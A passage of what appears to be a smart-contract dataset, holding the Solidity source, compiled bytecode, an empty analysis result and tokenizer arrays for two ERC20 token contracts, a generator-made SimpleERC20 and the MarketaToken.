uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 10790, 14526, 2683, 2683, 2278, 20958, 11329, 14526, 27531, 2063, 2620, 2620, 2683, 2509, 6679, 14141, 2497, 23777, 21456, 2549, 7959, 12879, 2629, 2063, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 19204, 2038, 2042, 7013, 2005, 2489, 2478, 16770, 1024, 1013, 1013, 6819, 9284, 22311, 27108, 2072, 1012, 21025, 2705, 12083, 1012, 22834, 1013, 9413, 2278, 11387, 1011, 13103, 1013, 1008, 1008, 3602, 1024, 1000, 3206, 3120, 3642, 20119, 1006, 2714, 2674, 1007, 1000, 2965, 2008, 2023, 19204, 2003, 2714, 2000, 2060, 19204, 2015, 7333, 1008, 2478, 1996, 2168, 13103, 1012, 2009, 2003, 2025, 2019, 3277, 1012, 2009, 2965, 2008, 2017, 2180, 1005, 1056, 2342, 2000, 20410, 2115, 3120, 3642, 2138, 1997, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,607
0x9710166c68d79285d2f046175e5ebcc8954d41fa
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title MarketaToken * @dev Token created for Marketa Online. Created using Open Zeppelin framework. * Tokens are ERC20 with a fixed supply. All tokens allocated at deployment. */ contract MarketaToken is StandardToken { string public constant standard = "ERC20"; // solium-disable-line uppercase string public constant name = "Marketa Token"; // solium-disable-line uppercase string public constant symbol = "MKTA"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 800000000 * (10 ** uint256(decimals)); // Total supply = 800,000,000 (800 million) address public constant marketaWallet = 0xD886074033BC9E70249cb366Fad0Bb64C773d298; // Initial wallet with total supply. Checksummed address /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[marketaWallet] = INITIAL_SUPPLY; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f55780632ff2e9dc1461027a578063313ce567146102a55780635a3b7e42146102d6578063661884631461036657806370a08231146103cb57806395d89b4114610422578063a9059cbb146104b2578063ca1eb8be14610517578063d73dd6231461056e578063dd62ed3e146105d3575b600080fd5b3480156100e157600080fd5b506100ea61064a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610683565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df610775565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061077f565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610b39565b6040518082815260200191505060405180910390f35b3480156102b157600080fd5b506102ba610b4a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610b4f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b88565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b5061040c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e19565b6040518082815260200191505060405180910390f35b34801561042e57600080fd5b50610437610e61565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047757808201518184015260208101905061045c565b50505050905090810190601f1680156104a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104be57600080fd5b506104fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9a565b604051808215151515815260200191505060405180910390f35b34801561052357600080fd5b5061052c6110b9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057a57600080fd5b506105b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110d1565b604051808215151515815260200191505060405180910390f35b3480156105df57600080fd5b50610634600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112cd565b6040518082815260200191505060405180910390f35b6040805190810160405280600d81526020017f4d61726b65746120546f6b656e0000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107bc57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089457600080fd5b6108e5826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610978826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a632faf08000281565b601281565b6040805190810160405280600581526020017f455243323000000000000000000000000000000000000000000000000000000081525081565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c99576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2d565b610cac838261135490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f4d4b54410000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ed757600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f2457600080fd5b610f75826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461135490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611008826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b73d886074033bc9e70249cb366fad0bb64c773d29881565b600061116282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561136257fe5b818303905092915050565b6000818301905082811015151561138057fe5b809050929150505600a165627a7a723058201edd0518dbfd98acb163bcb153f5ff4197b40fdc6a804f6d942f873ae16782d00029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 10790, 16048, 2575, 2278, 2575, 2620, 2094, 2581, 2683, 22407, 2629, 2094, 2475, 2546, 2692, 21472, 16576, 2629, 2063, 2629, 15878, 9468, 2620, 2683, 27009, 2094, 23632, 7011, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 102 ]
